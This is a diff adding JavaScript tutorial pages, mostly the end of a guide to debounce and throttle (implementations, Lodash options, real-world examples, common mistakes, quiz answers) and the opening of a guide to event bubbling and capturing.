+│ └────────────┘ │
+│ │
+└─────────────────────────────────────────────────────────────────────────────┘
+```
+
+### Common Use Cases
+
+| Use Case | Technique | Why |
+|----------|-----------|-----|
+| **Search autocomplete** | Debounce | Only fetch after user stops typing |
+| **Form validation** | Debounce | Validate after user finishes input |
+| **Auto-save drafts** | Debounce | Save after user pauses editing |
+| **Window resize layout** | Debounce | Recalculate once at final size |
+| **Scroll position tracking** | Throttle | Need regular position updates |
+| **Infinite scroll** | Throttle | Check proximity to bottom regularly |
+| **Mouse move tooltips** | Throttle | Update position smoothly |
+| **Rate-limited API calls** | Throttle | Respect API rate limits |
+| **Button click (prevent double)** | Debounce (leading) | Execute first click, ignore rapid repeats |
+| **Live preview** | Throttle | Show changes without lag |
+
+---
+
+## Leading vs Trailing Edge
+
+Both debounce and throttle can execute on the **leading edge** (immediately on first call) or **trailing edge** (after delay/at end of interval). Some implementations support both.
+
+### Trailing Edge (Default)
+
+The function executes **after** the delay/interval. This is the default behavior shown above.
+
+```javascript
+// Trailing debounce: executes AFTER user stops typing
+const trailingDebounce = debounce(search, 300)
+
+// Timeline: type "hi" → wait 300ms → search("hi") executes
+```
+
+### Leading Edge
+
+The function executes **immediately** on the first call, then ignores subsequent calls until the delay expires.
+
+```javascript
+function debounceLeading(fn, delay) {
+ let timeoutId
+
+ return function(...args) {
+ // Execute immediately if no pending timeout
+ if (!timeoutId) {
+ fn.apply(this, args)
+ }
+
+ // Clear and reset the timeout
+ clearTimeout(timeoutId)
+ timeoutId = setTimeout(() => {
+ timeoutId = null // Allow next leading call
+ }, delay)
+ }
+}
+
+// Usage: Prevent double-click on submit button
+const handleSubmit = debounceLeading(() => {
+ console.log('Form submitted!')
+ submitForm()
+}, 1000)
+
+submitButton.addEventListener('click', handleSubmit)
+// First click: submits immediately
+// Rapid clicks: ignored for 1 second
+```
+
+### Leading Edge Throttle
+
+```javascript
+function throttleLeading(fn, interval) {
+ let lastTime = 0
+
+ return function(...args) {
+ const now = Date.now()
+
+ if (now - lastTime >= interval) {
+ lastTime = now
+ fn.apply(this, args)
+ }
+ }
+}
+
+// This is actually the same as our basic throttle!
+// Throttle naturally executes on leading edge
+```
+
+### Both Edges
+
+For maximum responsiveness, execute on both leading AND trailing edges:
+
+```javascript
+function debounceBothEdges(fn, delay) {
+ let timeoutId
+ let lastCallTime = 0
+
+ return function(...args) {
+ const now = Date.now()
+ const timeSinceLastCall = now - lastCallTime
+
+ // Leading edge: execute if enough time has passed
+ if (timeSinceLastCall >= delay) {
+ fn.apply(this, args)
+ }
+
+ lastCallTime = now
+
+ // Trailing edge: also execute after delay
+ clearTimeout(timeoutId)
+ timeoutId = setTimeout(() => {
+ fn.apply(this, args)
+ lastCallTime = Date.now()
+ }, delay)
+ }
+}
+```
+
+---
+
+## Production-Ready Implementations
+
+Here are more robust implementations with additional features:
+
+### Enhanced Debounce with Cancel
+
+```javascript
+function debounce(fn, delay, options = {}) {
+ let timeoutId
+ let lastArgs
+ let lastThis
+
+ const { leading = false, trailing = true } = options
+
+ function debounced(...args) {
+ lastArgs = args
+ lastThis = this
+
+ const invokeLeading = leading && !timeoutId
+
+ clearTimeout(timeoutId)
+
+ timeoutId = setTimeout(() => {
+ timeoutId = null
+ if (trailing && lastArgs) {
+ fn.apply(lastThis, lastArgs)
+ lastArgs = null
+ lastThis = null
+ }
+ }, delay)
+
+ if (invokeLeading) {
+ fn.apply(this, args)
+ }
+ }
+
+ debounced.cancel = function() {
+ clearTimeout(timeoutId)
+ timeoutId = null
+ lastArgs = null
+ lastThis = null
+ }
+
+ debounced.flush = function() {
+ if (timeoutId && lastArgs) {
+ fn.apply(lastThis, lastArgs)
+ debounced.cancel()
+ }
+ }
+
+ return debounced
+}
+
+// Usage
+const debouncedSave = debounce(saveDocument, 1000, { leading: true, trailing: true })
+
+// Cancel pending execution
+debouncedSave.cancel()
+
+// Execute immediately
+debouncedSave.flush()
+```
+
+### Enhanced Throttle with Trailing Call
+
+```javascript
+function throttle(fn, interval, options = {}) {
+ let lastTime = 0
+ let timeoutId
+ let lastArgs
+ let lastThis
+
+ const { leading = true, trailing = true } = options
+
+ function throttled(...args) {
+ const now = Date.now()
+ const timeSinceLastCall = now - lastTime
+
+ lastArgs = args
+ lastThis = this
+
+ // Leading edge
+ if (timeSinceLastCall >= interval) {
+ if (leading) {
+ lastTime = now
+ fn.apply(this, args)
+ }
+ }
+
+ // Schedule trailing edge
+ if (trailing) {
+ clearTimeout(timeoutId)
+ timeoutId = setTimeout(() => {
+ if (Date.now() - lastTime >= interval && lastArgs) {
+ lastTime = Date.now()
+ fn.apply(lastThis, lastArgs)
+ lastArgs = null
+ lastThis = null
+ }
+ }, interval - timeSinceLastCall)
+ }
+ }
+
+ throttled.cancel = function() {
+ clearTimeout(timeoutId)
+ lastTime = 0
+ timeoutId = null
+ lastArgs = null
+ lastThis = null
+ }
+
+ return throttled
+}
+```
+
+---
+
+## Using Lodash in Production
+
+For production applications, use battle-tested libraries like [Lodash](https://lodash.com/). They handle edge cases, provide TypeScript types, and are thoroughly tested.
+
+### Installation
+
+```bash
+# Full library
+npm install lodash
+
+# Or just the functions you need
+npm install lodash.debounce lodash.throttle
+```
+
+### Basic Usage
+
+```javascript
+import debounce from 'lodash/debounce'
+import throttle from 'lodash/throttle'
+
+// Debounce with options
+const debouncedSearch = debounce(search, 300, {
+ leading: false, // Don't execute on first call
+ trailing: true, // Execute after delay (default)
+ maxWait: 1000 // Maximum time to wait (forces execution)
+})
+
+// Throttle with options
+const throttledScroll = throttle(updateScrollPosition, 100, {
+ leading: true, // Execute on first call (default)
+ trailing: true // Also execute at end of interval (default)
+})
+
+// Cancel pending execution
+debouncedSearch.cancel()
+
+// Execute immediately
+debouncedSearch.flush()
+```
+
+### The maxWait Option
+
+Lodash's debounce has a powerful `maxWait` option that sets a maximum time the function can be delayed:
+
+```javascript
+import debounce from 'lodash/debounce'
+
+// Search after typing stops, BUT at least every 2 seconds
+const debouncedSearch = debounce(search, 300, {
+ maxWait: 2000 // Force execution after 2 seconds of continuous typing
+})
+```
+
+This is essentially debounce + throttle combined. Useful when you want responsiveness during long bursts of activity.
+
+
+**Fun fact:** Lodash's `throttle` is actually implemented using `debounce` with the `maxWait` option set equal to the wait time. Check the [source code](https://github.com/lodash/lodash/blob/main/src/throttle.ts)!
+
+
+---
+
+## Real-World Examples
+
+### Search Autocomplete
+
+```javascript
+import debounce from 'lodash/debounce'
+
+const searchInput = document.getElementById('search')
+const resultsContainer = document.getElementById('results')
+
+async function fetchResults(query) {
+ if (!query.trim()) {
+ resultsContainer.innerHTML = ''
+ return
+ }
+
+ try {
+ const response = await fetch(`/api/search?q=${encodeURIComponent(query)}`)
+ const results = await response.json()
+ renderResults(results)
+ } catch (error) {
+ console.error('Search failed:', error)
+ }
+}
+
+// Only search 300ms after user stops typing
+const debouncedFetch = debounce(fetchResults, 300)
+
+searchInput.addEventListener('input', (e) => {
+ debouncedFetch(e.target.value)
+})
+```
+
+### Infinite Scroll
+
+```javascript
+import throttle from 'lodash/throttle'
+
+function checkScrollPosition() {
+ const scrollPosition = window.scrollY + window.innerHeight
+ const documentHeight = document.documentElement.scrollHeight
+
+ // Load more when within 200px of bottom
+ if (documentHeight - scrollPosition < 200) {
+ loadMoreContent()
+ }
+}
+
+// Check position every 100ms while scrolling
+const throttledCheck = throttle(checkScrollPosition, 100)
+
+window.addEventListener('scroll', throttledCheck)
+
+// Cleanup on unmount
+function cleanup() {
+ window.removeEventListener('scroll', throttledCheck)
+ throttledCheck.cancel()
+}
+```
+
+### Window Resize Handler
+
+```javascript
+import debounce from 'lodash/debounce'
+
+function recalculateLayout() {
+ const width = window.innerWidth
+ const height = window.innerHeight
+
+ // Expensive layout calculations
+ updateGridColumns(width)
+ resizeCharts(width, height)
+ repositionElements()
+}
+
+// Only recalculate after user stops resizing
+const debouncedResize = debounce(recalculateLayout, 250)
+
+window.addEventListener('resize', debouncedResize)
+```
+
+### Prevent Double Submit
+
+```javascript
+import debounce from 'lodash/debounce'
+
+const form = document.getElementById('checkout-form')
+
+async function submitOrder(formData) {
+ const response = await fetch('/api/orders', {
+ method: 'POST',
+ body: formData
+ })
+
+ if (response.ok) {
+ window.location.href = '/order-confirmation'
+ }
+}
+
+// Execute immediately, ignore clicks for 2 seconds
+const debouncedSubmit = debounce(submitOrder, 2000, {
+ leading: true,
+ trailing: false
+})
+
+form.addEventListener('submit', (e) => {
+ e.preventDefault()
+ debouncedSubmit(new FormData(form))
+})
+```
+
+### Mouse Move Tooltip
+
+```javascript
+import throttle from 'lodash/throttle'
+
+const tooltip = document.getElementById('tooltip')
+
+function updateTooltipPosition(x, y) {
+ tooltip.style.left = `${x + 10}px`
+ tooltip.style.top = `${y + 10}px`
+}
+
+// Update tooltip position every 16ms (60fps)
+const throttledUpdate = throttle(updateTooltipPosition, 16)
+
+document.addEventListener('mousemove', (e) => {
+ throttledUpdate(e.clientX, e.clientY)
+})
+```
+
+---
+
+## requestAnimationFrame Alternative
+
+For visual updates tied to rendering (animations, scroll effects), [`requestAnimationFrame`](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame) is often better than throttle. It syncs with the browser's repaint cycle (typically 60fps ≈ 16ms) and is scheduled by the [event loop](/concepts/event-loop) as a special render-related callback.
+
+```javascript
+function throttleWithRAF(fn) {
+ let ticking = false
+ let lastArgs
+
+ return function(...args) {
+ lastArgs = args
+
+ if (!ticking) {
+ ticking = true
+
+ requestAnimationFrame(() => {
+ fn.apply(this, lastArgs)
+ ticking = false
+ })
+ }
+ }
+}
+
+// Usage: Smooth scroll-linked animations
+const updateScrollAnimation = throttleWithRAF(() => {
+ const scrollPercent = window.scrollY / (document.documentElement.scrollHeight - window.innerHeight)
+ progressBar.style.width = `${scrollPercent * 100}%`
+ parallaxElement.style.transform = `translateY(${scrollPercent * 100}px)`
+})
+
+window.addEventListener('scroll', updateScrollAnimation)
+```
+
+**When to use rAF vs throttle:**
+
+| Use rAF when... | Use throttle when... |
+|-----------------|---------------------|
+| Animating DOM elements | Rate-limiting API calls |
+| Scroll-linked visual effects | Infinite scroll loading |
+| Canvas/WebGL rendering | Analytics event tracking |
+| Parallax effects | Form validation |
+
+---
+
+## Common Mistakes
+
+### Mistake 1: Creating New Debounced Functions Each Time
+
+```javascript
+// ❌ WRONG: Creates a new debounced function on every call
+element.addEventListener('input', (e) => {
+ debounce(handleInput, 300)(e) // This doesn't work!
+})
+
+// ✓ CORRECT: Create once, reuse
+const debouncedHandler = debounce(handleInput, 300)
+element.addEventListener('input', debouncedHandler)
+```
+
+### Mistake 2: Forgetting to Clean Up
+
+```javascript
+// ❌ WRONG: Memory leak in React/Vue/etc.
+useEffect(() => {
+ const handler = throttle(handleScroll, 100)
+ window.addEventListener('scroll', handler)
+}, [])
+
+// ✓ CORRECT: Clean up on unmount
+useEffect(() => {
+ const handler = throttle(handleScroll, 100)
+ window.addEventListener('scroll', handler)
+
+ return () => {
+ window.removeEventListener('scroll', handler)
+ handler.cancel() // Cancel any pending calls
+ }
+}, [])
+```
+
+### Mistake 3: Wrong Technique for the Job
+
+```javascript
+// ❌ WRONG: Debounce for scroll position tracking
+// User won't see smooth updates, only final position
+window.addEventListener('scroll', debounce(updatePosition, 100))
+
+// ✓ CORRECT: Throttle for continuous visual updates
+window.addEventListener('scroll', throttle(updatePosition, 100))
+
+// ❌ WRONG: Throttle for search autocomplete
+// Unnecessary API calls while user is still typing
+input.addEventListener('input', throttle(search, 300))
+
+// ✓ CORRECT: Debounce for search (only when typing stops)
+input.addEventListener('input', debounce(search, 300))
+```
+
+### Mistake 4: Losing `this` Context
+
+```javascript
+// ❌ WRONG: Arrow function preserves wrong `this`
+class SearchComponent {
+ constructor() {
+ this.query = ''
+ }
+
+ handleInput = debounce(() => {
+ console.log(this.query) // Works, but...
+ }, 300)
+}
+
+// ❌ WRONG: Method loses `this` when passed as callback
+class SearchComponent {
+ handleInput() {
+ console.log(this.query) // `this` is undefined!
+ }
+}
+const component = new SearchComponent()
+input.addEventListener('input', debounce(component.handleInput, 300))
+
+// ✓ CORRECT: Bind the method
+input.addEventListener('input', debounce(component.handleInput.bind(component), 300))
+
+// ✓ ALSO CORRECT: Wrap in arrow function
+input.addEventListener('input', debounce((e) => component.handleInput(e), 300))
+```
+
+### Mistake 5: Choosing the Wrong Delay
+
+```javascript
+// ❌ TOO SHORT: Defeats the purpose
+debounce(search, 50) // Still makes many API calls
+
+// ❌ TOO LONG: Feels unresponsive
+debounce(search, 1000) // User waits 1 second for results
+
+// ✓ GOOD: Balance between responsiveness and efficiency
+debounce(search, 250) // 250-400ms is typical for search
+throttle(scroll, 100) // 100-150ms for scroll (smooth but efficient)
+```
+
+---
+
+## Key Takeaways
+
+
+**The key things to remember:**
+
+1. **Debounce waits for silence** — It delays execution until events stop coming for a specified duration. Use it when you only care about the final value.
+
+2. **Throttle maintains rhythm** — It ensures execution happens at most once per interval, even during continuous events. Use it when you need regular updates.
+
+3. **Leading vs trailing** — Leading executes immediately on first call; trailing executes after the delay. You can use both for maximum responsiveness.
+
+4. **Use Lodash in production** — Battle-tested implementations with TypeScript types, cancel methods, and edge case handling.
+
+5. **Create debounced/throttled functions once** — Don't create them inside event handlers or render functions.
+
+6. **Always clean up** — Cancel pending executions and remove event listeners when components unmount.
+
+7. **requestAnimationFrame for animations** — For visual updates, rAF syncs with the browser's repaint cycle for smoother results.
+
+8. **Choose the right delay** — 250-400ms for search/typing, 100-150ms for scroll/resize, 16ms for animations.
+
+9. **Closures make it work** — Both techniques use closures to maintain state (timers, timestamps) between function calls.
+
+10. **Test your implementation** — Verify the behavior matches your expectations, especially edge cases like rapid bursts and cleanup.
+
+
+---
+
+## Test Your Knowledge
+
+
+
+ **Answer:**
+
+ - **Debounce** waits for a pause in events before executing. The function only runs once after events stop coming for the specified delay.
+
+ - **Throttle** executes at regular intervals during continuous events. It guarantees the function runs at most once per specified interval, providing regular updates.
+
+ **Example:** If events fire continuously for 1 second:
+ - Debounce (300ms): 1 execution (after events stop + 300ms)
+ - Throttle (100ms): ~10 executions (every 100ms)
+
+
+
+ **Answer:**
+
+ Leading edge debounce executes immediately on the first call, then ignores subsequent calls until the delay expires. Use it when:
+
+ 1. **Preventing double-clicks** — Submit form on first click, ignore rapid additional clicks
+ 2. **Immediate feedback** — Show something instantly, but don't repeat
+ 3. **First interaction matters** — Track first button press, not every press
+
+ ```javascript
+ const preventDoubleClick = debounce(submitForm, 1000, {
+ leading: true,
+ trailing: false
+ })
+ ```
+
+
+
+ **Answer:**
+
+ Creating a debounced function inside an event handler creates a **new function every time the event fires**. Each new function has its own separate timer, so debouncing never actually works:
+
+ ```javascript
+ // ❌ WRONG - new debounced function each time
+ input.addEventListener('input', (e) => {
+ debounce(search, 300)(e.target.value)
+ // Timer 1, Timer 2, Timer 3... none wait for each other
+ })
+
+ // ✓ CORRECT - same debounced function reused
+ const debouncedSearch = debounce(search, 300)
+ input.addEventListener('input', (e) => {
+ debouncedSearch(e.target.value)
+ // Same timer gets reset each time
+ })
+ ```
+
+
+
+ **Answer:**
+
+ The `maxWait` option sets a maximum time a debounced function can be delayed. Even if events keep coming, the function will execute after `maxWait` milliseconds.
+
+ ```javascript
+ const debouncedSearch = debounce(search, 300, {
+ maxWait: 2000 // Force execution after 2 seconds
+ })
+ ```
+
+ This is useful for long typing sessions — you still get the debounce behavior, but users see results at least every 2 seconds. It's essentially debounce + throttle combined.
+
+ Fun fact: Lodash's `throttle` is implemented using `debounce` with `maxWait` equal to the wait time!
+
+
+
+ **Answer:**
+
+ Use `requestAnimationFrame` when you're doing **visual updates** that need to sync with the browser's repaint cycle:
+
+ - Scroll-linked animations
+ - Parallax effects
+ - Canvas/WebGL rendering
+ - DOM element transformations
+
+ ```javascript
+ // rAF syncs with 60fps refresh rate
+ const throttledWithRAF = (fn) => {
+ let ticking = false
+ return (...args) => {
+ if (!ticking) {
+ requestAnimationFrame(() => {
+ fn(...args)
+ ticking = false
+ })
+ ticking = true
+ }
+ }
+ }
+ ```
+
+ Use throttle for non-visual tasks: API calls, analytics tracking, loading content, validation.
+
+
+
+ **Answer:**
+
+ Both debounce and throttle are **higher-order functions** that return a new function. The returned function uses **closures** to remember state between calls:
+
+ ```javascript
+ function debounce(fn, delay) {
+ let timeoutId // ← Closure variable, persists between calls
+
+ return function(...args) {
+ clearTimeout(timeoutId)
+ timeoutId = setTimeout(() => fn.apply(this, args), delay)
+ // timeoutId is remembered from the previous call
+ }
+ }
+ ```
+
+ The closure allows the returned function to:
+ - Remember the `timeoutId` from previous calls (to clear it)
+ - Track `lastTime` for throttle calculations
+ - Store pending `args` and `this` context
+
+ Without closures, each call would have no memory of previous calls.
+
+
+
+---
+
+## Related Concepts
+
+
+
+ Understand how closures enable debounce and throttle to maintain state between calls
+
+
+ Learn about functions that return functions — the pattern both techniques use
+
+
+ Understand how setTimeout and browser events are scheduled and processed
+
+
+ The foundation for understanding how debounce and throttle wrap other functions
+
+
+
+---
+
+## Reference
+
+
+
+ Official MDN definition with explanation of leading and trailing edges
+
+
+ Official MDN definition with scroll handler examples
+
+
+ The timer API that powers debounce implementations
+
+
+ Browser API for syncing with the repaint cycle — an alternative to throttle for animations
+
+
+
+## Articles
+
+
+
+ CSS-Tricks' comprehensive guide with interactive CodePen demos. The visual examples make timing differences crystal clear.
+
+
+ Official Lodash docs for _.debounce with all options explained. Production-ready implementation details.
+
+
+ Official Lodash docs for _.throttle. Shows how throttle is built on top of debounce with maxWait.
+
+
+ Classic article with a simple debounce implementation. Good for understanding the core logic.
+
+
+
+## Videos
+
+
+
+ Kyle Cook explains both concepts with clear visualizations and practical examples. Great for visual learners.
+
+
+ Fireship's ultra-concise explanation of debounce. Perfect quick refresher.
+
+
+ MPJ's entertaining deep dive with real-world examples and implementation from scratch.
+
+
+ Learn how to properly use debounce in React with hooks, including cleanup patterns.
+
+
diff --git a/docs/beyond/concepts/event-bubbling-capturing.mdx b/docs/beyond/concepts/event-bubbling-capturing.mdx
new file mode 100644
index 00000000..a423b8a1
--- /dev/null
+++ b/docs/beyond/concepts/event-bubbling-capturing.mdx
@@ -0,0 +1,743 @@
+---
+title: "Event Bubbling & Capturing: Event Propagation in JavaScript"
+sidebarTitle: "Event Bubbling & Capturing"
+description: "Learn event bubbling and capturing in JavaScript. Understand the three phases of event propagation, stopPropagation, and when to use capturing vs bubbling."
+---
+
+You click a button inside a `
`, but both the button's handler AND the div's handler fire. Why? Or you add a click listener to a parent element, and it somehow catches clicks on all its children. How does that work?
+
+The answer lies in **event propagation** — the way events travel through the DOM tree. Understanding this unlocks powerful patterns like [event delegation](/beyond/concepts/event-delegation) and helps you avoid frustrating bugs.
+
+```javascript
+// Click a button nested inside a div
+document.querySelector('.parent').addEventListener('click', () => {
+ console.log('Parent clicked!') // This fires too!
+})
+
+document.querySelector('.child-button').addEventListener('click', () => {
+ console.log('Button clicked!') // This fires first
+})
+
+// Click the button → Output:
+// "Button clicked!"
+// "Parent clicked!" — Wait, I only clicked the button!
+```
+
+This happens because of **event bubbling** — one of the three phases every DOM event goes through.
+
+
+**What you'll learn in this guide:**
+- The three phases of event propagation (capturing, target, bubbling)
+- Why events "bubble up" to parent elements
+- How to listen during the capturing phase with `addEventListener`
+- The difference between `stopPropagation()` and `stopImmediatePropagation()`
+- Which events don't bubble and their alternatives
+- When capturing is actually useful (it's rare, but important)
+- Common mistakes that break event handling
+
+
+
+**Prerequisite:** This guide assumes you're comfortable with basic [DOM manipulation](/concepts/dom) and event listeners. If `addEventListener` is new to you, read that guide first!
+
+
+---
+
+## What is Event Propagation?
+
+**Event propagation** is the process by which an event travels through the DOM tree when triggered on an element. Instead of the event only affecting the element you clicked, it travels through the element's ancestors in a specific order, giving each one a chance to respond.
+
+Every DOM event goes through **three phases**:
+
+1. **Capturing phase** — The event travels DOWN from `window` to the target element
+2. **Target phase** — The event arrives at the element that triggered it
+3. **Bubbling phase** — The event travels UP from the target back to `window`
+
+```
+┌─────────────────────────────────────────────────────────────────────────┐
+│ THE THREE PHASES OF EVENT PROPAGATION │
+├─────────────────────────────────────────────────────────────────────────┤
+│ │
+│ PHASE 1: CAPTURING PHASE 3: BUBBLING │
+│ (Top → Down) (Bottom → Up) │
+│ │
+│ window window │
+│ ↓ ↑ │
+│ document document │
+│ ↓ ↑ │
+│ │
+│ ↓ ↑ │
+│ │
+│ ↓ ↑ │
+│